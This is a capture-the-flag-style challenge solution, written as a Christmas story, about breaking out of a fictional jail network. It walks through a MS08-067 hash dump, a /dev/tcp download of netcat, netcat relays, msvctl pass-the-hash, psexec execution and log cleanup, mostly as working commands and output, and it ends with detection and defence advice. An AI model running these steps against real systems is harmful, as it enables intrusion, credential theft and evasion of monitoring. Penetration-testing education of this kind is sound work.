

Santa Claus is Hacking to Town by Ed Skoudis
EthicalHacker.net Challenge – December 2008
(<http://www.ethicalhacker.net/content/view/218/1/>)

Author: **Raul Siles** (raul_AT_raulsiles_DOT_com)
Website: www.raulsiles.com
Date: Dec 30, 2008

1) What tool would you have the Winter Warlock download? Why?

Once the team got blocked in their activities with the current arsenal, it was time to review the overall plan of actions and select the hacker tool of choice to finish the puzzle. Kris, as a good Kringle, synonym of a highly respected professional penetration tester by that time, started to draw up a well-thought and elaborated plan.

Apart from the advanced technical proficiency, teamwork and documentation are crucial skills in penetration testing to optimize the available resources and follow up actions. Jessica started to collect and document all the data they had until the moment about the environment and the Jail Master activities, while Kris was analyzing a few alternatives based on the well known constraints, and Winter tested the magic netbook and its Internet connection; then, they put it all together. Using the network diagram and the inventory of available resources, plus Jessica's summary table with all the data collected about the target systems, they started to build up their escape.

They analyzed all the information from the initial reconnaissance, scanning, and exploitation activities inside out, starting with the main target system. The goal was to run the dooropen.exe command on door1 as jailmaster. Considering it was unrealistic to obtain the Jail Master's password (due to its length and complexity) to run the target command, that door1 was a fully patched Windows server and no 0-day exploit was available (therefore server-based exploits were not an alternative), and that there were no known clients running on the server (client-based exploits might have been another valid attack option), they soon figured out that the most feasible option would be to try a pass-the-hash attack using the jailmaster account. As the Jail Master uttered, the same username and password is used to manage every Windows system in the dungeon. As Windows does not use salts to generate password hashes, the same hash is always derived from the same password. Anyway, Kris learned the lesson, and from that point on would always carry with him his huge precalculated Rainbow Tables.

The plan was to use Metasploit, specifically the MS08-067 exploit, to compromise the jailmasterlaptop machine, in order to dump the hashes for all users, including jailmaster. Due to the firewalling constrains on the prison network, door1 only allows connections from web1. Therefore the question was: what free tool from a publicly accessible website, with a maximum size of 1 Megabyte, would have pass-the-hash capabilities and allow the remote execution of commands on Windows?

Kris impulsively shouted: "Winexe! Winexe! Mr. Warlock, download winexe by Foofus from the Internet". Kris started to explain Jessica that JoMo-kun from the Foofus hacking team developed some pass-the-hash SAMBA patches for Linux [1], plus a pre-compiled version of winexe [2] (a tool to remotely execute commands on Windows systems from Linux) with pass-the-hash capabilities [3]. They could upload winexe to the Linux web1 system and invoke the remote command on door1 from there.

Mr. Warlock muttered while typing on his netbook: "Call me 'Winter', simply 'Winter'. Grrrr...". He was about to press the download button on the magic netbook when Kris shouted at him from the other corner of the cell: "STOP! STOP! DON'T GET IT... YET". Just in a sudden, Kris remembered a very recent penetration test where he couldn't download winexe because it was too large for the only data connection he had at the time, an old 9600 bps analog modem. The file was more than 3 Megabytes in size.

After several minutes looking for an alternative tool, Kris realized that he read about another tool similar to winexe for Windows [4]. Kris didn't remember the name, but fortunately enough, he had his penetration testing notes and cookbooks from previous engagements on his laptop. A quick search helped to find the tool name: msvctl [5] by Johannes Gumbel from the Truesec Security Team.

Following Kris advice, Winter proceed to download msvctl, distributed in a file called msvctl_0.3.zip, 72.367 bytes in size, with an MD5 checksum of "fef298bfc589971485e1e74708ee7fce". The ZIP file contains two files, msvctl.exe and msvctl.dll.

2) Devise a step-by-step approach for gaining control of the door1 server so that Kris can execute the dooropen.exe command with the privileges of the jailmaster account. Describe each tool you would use and how you would use it at each step of your hack.

Having the msvctl tool (from question 1) handy, Kris, Jessica, and Winter summarized the overall plan: the goal is to run the msvctl tool to execute a pass-the-hash attack with the jailmaster privileges, and then run psexec to remotely execute the dooropen.exe command on door1, relaying the traffic through web1. The high level overview steps follows (a step-by-step approach, including tools details, is provided afterwards):

1. Get the hashes for the jailmaster account from the jailmasterlaptop vulnerable system, using Metasploit and the MS08-067 exploit.
2. Establish a relay on web1 in order to be able to get access to door1, as this is the only communication path allowed by the prison network firewall. The relay creation requires a few extra steps:
 - 2.1. Netcat was selected as the preferred option to run the relay due to its availability (for Linux) and flexibility. The first step would be to upload netcat to web1 using the web-based command injection flaw.
 - 2.2. Unfortunately, web1 does not accept any inbound connections except ICMP echo requests and TCP/80, where the web server is currently running. Therefore a server relay is not an option on web1. A nifty netcat setup would be required, in the form of a client-to-client netcat relay.
 - 2.3. Complement the previous step with an extra nifty netcat setup, in the form of a server-to-server netcat relay, in order to allow the establishment of the communication path between Kris' Windows VM, where msvctl and psexec would run, and the door1 system. The traffic would pass through Kris' Linux VM and web1. Indeed, it is required to execute this step before the previous one.
3. Run msvctl on Kris' Windows VM, using the jailmaster hash obtained on step 1, to execute the pass-the-hash attack and get the jailmaster account capabilities on Windows.
4. Run psexec from Microsoft Sysinternals on Kris' Windows VM to remotely execute the dooropen.exe command on door1 with the privileges of jailmaster provided by msvctl (step 3).


```
meterpreter > use priv
[-] The 'priv' extension has already been loaded.
meterpreter > hashdump
jailmaster:500:aad3b435b51404eeaad3b435b51404ee:9fbd5d7bf5172aeb3e11db70f00d4438:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:43b1a4b604f292b3f04eb04ac18913b2:0ffadaa1913f503f219e3a208d7fa0ac:::
...
meterpreter >
```

Kris closed the Meterpreter session. He quickly noticed that the LM hash for the jailmaster account was the default one for a null password, “aad3b435b51404eeaad3b435b51404ee”, meaning the length of the password was 15 characters or greater. Step 1 was done, as the jailmaster hash was obtained from jailmasterlaptop.

(Step 2.1)

In order to run a netcat relay on web1 it was required to upload the Linux netcat binary to that system using the web-based command injection flaw. The web1 server appeared to be a stripped down Fedora Linux machine, so the team decided not to try any file transfer commands that most probably wouldn't be available, such as tftp, ftp, or scp. Instead, they resorted to specific Linux kernel networking capabilities, through /dev/tcp, that tend to work very well on Red Hat, Fedora, and other Linux distributions.

Kris made available a copy of the Linux netcat binary through Linnie on port TCP/80 (a little stealthy trick to simulate a web server connection in case someone checks outbound traffic from web1) using netcat:

```
[Linnie] $ nc -l -p 80 < /usr/bin/nc
```

Using the web-based command injection flaw, Kris launched a series of commands to initiate a connection from web1 to Linnie on port TCP/80 and retrieve the Linux netcat binary. The file was copied under /tmp, as a readable and executable file.

```
[web1] $ exec 6<>/dev/tcp/Linnie/80
[web1] $ cat <&6 >/tmp/nc
[web1] $ ls -l /tmp/nc
-rw-rw-r-- 1 apache apache 18596 2008-12-30 13:24 /tmp/nc
[web1] $ md5sum /tmp/nc
77e752183c698f76f00c0de5d070314d /tmp/nc
[web1] $ chmod 500 /tmp/nc
[web1] $
```

Once the file transfer was completed, Kris closed the netcat instance running on Linnie. Step 2.1 was done, as netcat was uploaded to web1.

(Step 2.2 – execution of step 2.3 is required before completing step 2.2)

To sum up steps 2.2 and 2.3, the team designed a multi-netcat bidirectional relay scenario to redirect the traffic generated by psexec on Winnie and execute the dooropen.exe command on door1. The goal

was to invoke the command in Winnie using psexec (a Windows based tool), redirect the traffic through Linnie using a server-to-server netcat relay (required due to the security constraints – more details below), from where the traffic is redirected through web1 using a client-to-client netcat relay (remember this is the only system with access to the target system), and finally, the traffic reaches door1, where the command is executed.

The multiple traffic filtering constraints on web1 (limiting most inbound connections), the fact that it is a fully patched box where no local privilege escalation is possible, plus the limited execution capabilities as a non-privileged account (apache), limit the server-based relay options, as iptables could not be reconfigured or a new listener launched on a privileged port, like TCP/445. This forced the team to take advantage of the fact that all outbound connections were allowed. To bypass these limitations on web1, the team made use of a netcat setup known as a client-to-client netcat relay. In this setup, the system acting as the relay initiates the connections with the two endpoints it relays traffic for, bypassing any local inbound traffic filtering rules. Kris changed to the /tmp directory, and created a bidirectional client-to-client netcat relay on Linux using a FIFO file (called backpipe) plus a standard pipe redirection.

```
[web1] $ cd /tmp
[web1] $ mknod backpipe p
[web1] $ ls -l backpipe
prw-rw-r-- 1 apache apache 0 2008-12-30 14:04 backpipe
[web1] $
[web1] $ /tmp/nc door1 445 0<backpipe | /tmp/nc Linnie 80 1>backpipe &
[1] 12916
[web1] $
```

NOTE: Before running the last command, Kris needs to complete Step 2.3.

(Step 2.3)

The last command of step 2.2 won't work as there is no server listening on Linnie yet. The other connection to door1 will work as this Windows server is listening on port TCP/445. In order to offer the server component on Linnie, a listening netcat server can be used. The purpose of the netcat instances on Linnie is to relay the traffic coming from psexec to web1. However, two server netcat components are required, because psexec needs to connect to a server, and the previous client-to-client netcat relay running on web1 needs to connect to a server too. To provide the full communication path, the team made use of a netcat setup known as a server-to-server netcat relay on Linnie. In this scenario, the system acting as the relay launches two netcat listeners (or servers) and waits for the two endpoints to initiate the connections. Kris changed to the /tmp directory in his local Linux VM, Linnie, and created a bidirectional server-to-server netcat relay on Linux using a FIFO file (called backpipe) plus a standard pipe redirection.

```
[Linnie] $ cd /tmp
[Linnie] $ mknod backpipe p
[Linnie] $ ls -l backpipe
prw-r--r-- 1 user user 0 Dec 30 14:15 backpipe|
[Linnie] $ nc -l -p 445 0<backpipe | nc -l -p 80 1<backpipe
```

NOTE: Now that the appropriate server components are running, Kris can complete step 2.2.

```
[web1] $ /tmp/nc door1 445 0<backpipe | /tmp/nc Linnie 80 1>backpipe &
[1] 12916
```

Once Kris launches the client-to-client netcat relay from step 2.2 (see command above), the following actions take place:

- web1 initiates a connection to door1 on port TCP/445, the Windows target system and port.
- This connection is linked (through a bidirectional relay) with a second connection initiated from web1 to Linnie on port TCP/80.
- Linnie had a listener on port TCP/80 from step 2.3 to receive this second client connection.
- That listener links (through a bidirectional relay) to another local listener on port TCP/445. This second listener emulates the SMB Windows services and capabilities required by psexec in order to launch remote actions.
- At this point, any connection to port TCP/445 on Linnie will go through out all the relays and end up on port TCP/445 on door1. The responses will use the same path to travel from port TCP/445 on door1 down to port TCP/445 on Linnie.

The reason why Kris used the ampersand (&) to launch the client-to-client netcat relay in the background is to be able to terminate the netcat processes later, as the web-based command injection flaw does not provide an interactive shell session.

Steps 2.2 and 2.3 are done, as all the traffic redirection paths using relays are in place.

(Step 3)

In order to execute remote commands on a Windows box it is required to have valid credentials or the privileges of a user with permission to execute the target command. In this scenario, this means Kris needs to impersonate the jailmaster account to run dooropen.exe on door1.

The msvctl tool provides the capabilities to use a Windows password hash (or set of hashes, LM and NTLM) and impersonate any account, effectively launching a pass-the-hash attack. Kris ran msvctl on Winnie to get a command shell (cmd.exe) with the privileges of jailmaster. The msvctl tool simply needs (all arguments in a single line) the hash dump previously obtained on step 1 from Metasploit (including the account name, LM and NTLM hashes), the “run” argument indicating command execution, and the local command to run (in this case “cmd”) with the new account privileges.

```
[Winnie]
C:\>msvctl.exe
jailmaster::aad3b435b51404eeaad3b435b51404ee:9fbd5d7bf5172aeb3e11db70f00d4438
:: run cmd
info: running 'cmd '
C:\>
```

Once the execution completed, a new terminal window was opened in the local system running with the privileges of the jailmaster account.

(Step 4)

All commands executed on the new terminal window will use the jailmaster account privileges. Kris invoked the psexec tool from Microsoft Sysinternals in order to remotely execute the dooropen.exe command (without arguments) on door1 with the privileges of jailmaster. The target system from the psexec perspective is Linnie. Psexec will establish a TCP connection to Linnie on port TCP/445 that will be auto magically redirected through the netcat relay chain previously setup to port TCP/445 on door1.

The psexec “-i” option was not used so that the execution is as stealthier as possible, just in case the dooropen.exe command generates any kind of interaction with the desktop on door1. This way, no matter if the command makes use of graphical features, its execution will only generate a new process (visible on the Windows Task Manager). The psexec “-d” option was included not to wait for the command to terminate (non-interactive mode). Depending on the nature of dooropen.exe, it might be interesting to run psexec without “-d” to interactively get the text-based output from the command.

```
[Winnie - From within the terminal window launched by msvctl]
C:\>psexec.exe -d \\Linnie dooropen.exe

PsExec v1.94 - Execute processes remotely
Copyright (C) 2001-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

dooropen.exe started on Linnie with process ID 2909.
C:\>
```

The command window prompt returned back and... the locked cell door started to open! Before running away with all their belongings, Kris run his last command on the web1 system, trying to hide part of their activities by killing the netcat instances previously launched:

```
[web1] $ killall /tmp/nc
```

While escaping from prison, the whole team started their custom hacking dance, a mandatory step on every successful penetration testing hack, while singing:

Jingle bells, jingle bells
Jingle all the way
Oh, what fun it is to hack
In a dungeon, from a cell... 😊

It seems Kris would become Santa Claus delivering Christmas cheer far and wide :)

3) Briefly finish this tale by describing how the Burgermeisters could detect the tactics you described in your answer to item 2, as well as how they could have defended against each step you described.

Instead of focusing their anti-hacking efforts on the 202c law, the Burgermeisters could proactively have requested the Kringles a penetration test on the Sombertown dungeon environment. As a result, they would have identified most, if not all, the vulnerabilities and flaws pinpointed throughout this challenge, complemented with a thorough report detailing the recommended detection and defense countermeasures to mitigate or eliminate each weakness. A summary of the most relevant recommendations (as each of them could expand a few pages) is described in the following paragraphs.

The Burgermeisters could have mitigated part of the attacks, in particular the social engineering component, by removing the signs that were visible from untrusted areas, like the dungeon cell. These included sensitive information, such as hostnames (door1), OS (Windows Server), commands (dooropen.exe), usernames (jailmaster), and even the valued network diagram.

Additionally, it is highly recommended to carry out sensitive operations from private locations and manage sensitive information accordingly. Having sensitive computers in locations where all activities can be observed from untrusted locations, such as an administrator typing a long and cumbersome password or uttering secret details about the current account management practices, is not recommended. User awareness, and specifically administrator awareness, is a key point in today information security programs.

The security of the environment shouldn't be based just on legal artifacts, such as the 202c law - the Sombertown Anti-Hacking tool Edict, as the Burgermeisters thought, because evil attackers do not follow the law.

Starting with physical security, how our friends Kris, Jessica, and the Warlock were allowed to keep their arsenal (Kris' laptop, all software tools, the magic netbook, etc) inside the dungeon cell facilities? Before imprison anyone, the Burgermeisters must frisk the suspects and seize all their belongings.

From a networking perspective, the security policy should block any kind of network access (wireless or wired) to non-trusted locations, such as the dungeon cells.

The Burgermeisters need to monitor the activities taking place over the wireless network, identify the existence of new wireless clients, and inspect the wireless traffic searching for attack signs; the recommended option is the deployment of a wireless intrusion detection system (WIDS). Additionally, they urgently need to improve the security of this network. They are currently running an open wireless network, with no access constraints, and with DHCP capabilities enabled. A migration from the current setup to a WPA2/Enterprise network would be the preferred option. Additionally, the security of the network can be improved by segregating network portions. For example, there was no segmentation and filtering capabilities between the wireless and wired networks. It is suggested to segment the network and apply strong filtering mechanisms between network domains.

The Burgermeisters should increase their overall detection capabilities by collecting, centralizing, and analyzing the logs generated by network devices and systems. This would have allowed to detect the initial presence of a new wireless client (access point log), the DHCP request and offer (DHCP server log), and subsequent activities (routers and switches logs, DNS servers logs, target servers logs, firewall logs, etc).

Having complementary network intrusion detection systems (NIDS) on the wired dungeon network would help to identify ping sweeps, port scans, and other reconnaissance, mapping, and exploitation activities. All the nmap and Metasploit actions could potentially have been detected by a NIDS. Similarly, a routine inspection of the firewall logs, on both the prison network firewall and the web1 iptables firewall, would have alerted about the connection from web1 to door1 on port TCP/445 and the connection between web1 and Kris' laptop respectively.

Besides that, most organizations still today suffer the ICMP syndrome, allowing ICMP traffic (echo request and reply) everywhere with the excuse of being demanded by the network operation and management teams to identify available systems and their state. Filtering this traffic helps to mitigate how easily an attacker can identify resources through ping sweep activities. ICMP was also used for more advanced reconnaissance, checking connectivity and filtering policies between web1 and door1. If not inevitably required, ICMP usage should be limited to specific and isolated management networks.

Nowadays, keeping all systems patched and up to date is a crucial aspect, trying to eliminate well known vulnerabilities that can be easily exploited through hacking tools like Metasploit, and specifically, those vulnerabilities that allow remote command execution with the maximum privilege level, such as MS08-067. An in-depth review of the current patching procedures is mandatory.

Currently, web applications are one of the main attack vectors due to its complexity, relevance, ubiquity, and public nature. The Burgermeisters need to perform a thorough security assessment of all the web applications in the environment, checking for common web-based vulnerabilities, such as command injection, remote file inclusion (RFI), SQL and XPath injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), information disclosure, session management, etc. In this specific case, command injection and inappropriate input and output filtering was the root cause of the web1 system compromise. They need to work side by side with the web application development team and integrate security in the web-apps software development life cycle (SDLC).

Using the previously mentioned NIDS, traffic or log inspection capabilities, it would have been trivial to detect the activities associated to the weak outbound traffic filtering policy on web1. Why the web server was establishing outbound connections to a system in the wireless network (when netcat was uploaded to web1, or when the client-to-client netcat relay was setup)? Using very basic profiling rules in a NIDS it can be very easy to detect anomalous behaviors from systems after a compromise.

Although allowed by the current filtering policy, should web1 establish SMB connections with door1? The prison network firewall policy must be reviewed and a more stringent policy applied, restricting the traffic between these two systems (currently all ports are allowed).

Unfortunately, the deployment of systems that do not make use of password salts to generate the password hashes, like Windows, exposes the environment to hash-based attacks. It is highly recommended, especially for high privilege accounts, to use different passwords for every system. As a very basic example trying to simplify the password management tasks, if the current password is considered robust or strong enough, the hostname of the system could be added at the end, as part of the password. Using this simple technique, the password hashes on each Windows system would be different, as the hostname varies, and the pass-the-hash attack described would have not worked.

In any penetration test, it is highly recommended not only to reflect all the weaknesses and mistakes found, but also point out the proper countermeasures in place. On the positive side, the Burgermeisters had an isolated network on the Sombertown dungeon, with no Internet access. This is a common mistake nowadays by lots of organizations, where Internet access is like an inherited right for end users on almost any environment and network.

Assuming the jailmasterlaptop requires NetBIOS and SMB capabilities, and obviously web1, the Linux web server, requires offering web contents through port TCP/80, the Burgermeisters did a pretty decent job minimizing the available services exposed to the network from each of these two systems.

The Windows password policy on the environment, with a minimum length of 50 characters, seems robust enough to protect the accounts against standard password guessing attempts and password cracking attacks.

It is important to remark the security posture of web1, presenting a good inbound traffic filtering policy (except for ICMP), being fully patched, running the web server as a non-privileged user (apache), not containing non-required software, such as netcat. Overall, a well hardened system. This must be emphasized, as the only system weakness was that all outbound connections were allowed (not considering the more relevant web-based vulnerability that allowed command execution), and this was a key element used by Kris to elaborate the attack plan. From an attack perspective, a single vulnerability is enough to compromise the security of the environment, while from a defensive perspective, it is mandatory to close each and every vulnerability. There is a clear disadvantage.

Please, review the list above, identify how many of these very common weaknesses apply to your organization, and act diligently to remove them or mitigate its impact!

REFERENCES

[1] Pass-the-hash SAMBA patches by JoMo-kun from the Foofus hacking team
<http://www.foofus.net/jmk/passhash.html>

[2] winexe
<http://eol.ovh.org/winexe/>

[3] winexe with pass-the-hash capabilities
<http://www.foofus.net/jmk/tools/winexe>

[4] msvctl blog posts
<http://truesecurity.se/blogs/murray/archive/2007/10/01/pass-the-hash-tool-msvctl-released-to-public.aspx>
<http://carnal0wnage.blogspot.com/2008/03/msvctl-pass-hash-action.html>

[5] msvctl by Johannes Gumbel from the Truesec Security Team
<http://www.truesec.com/PublicStore/Profile/Downloads.aspx?versionid=12>
<http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx>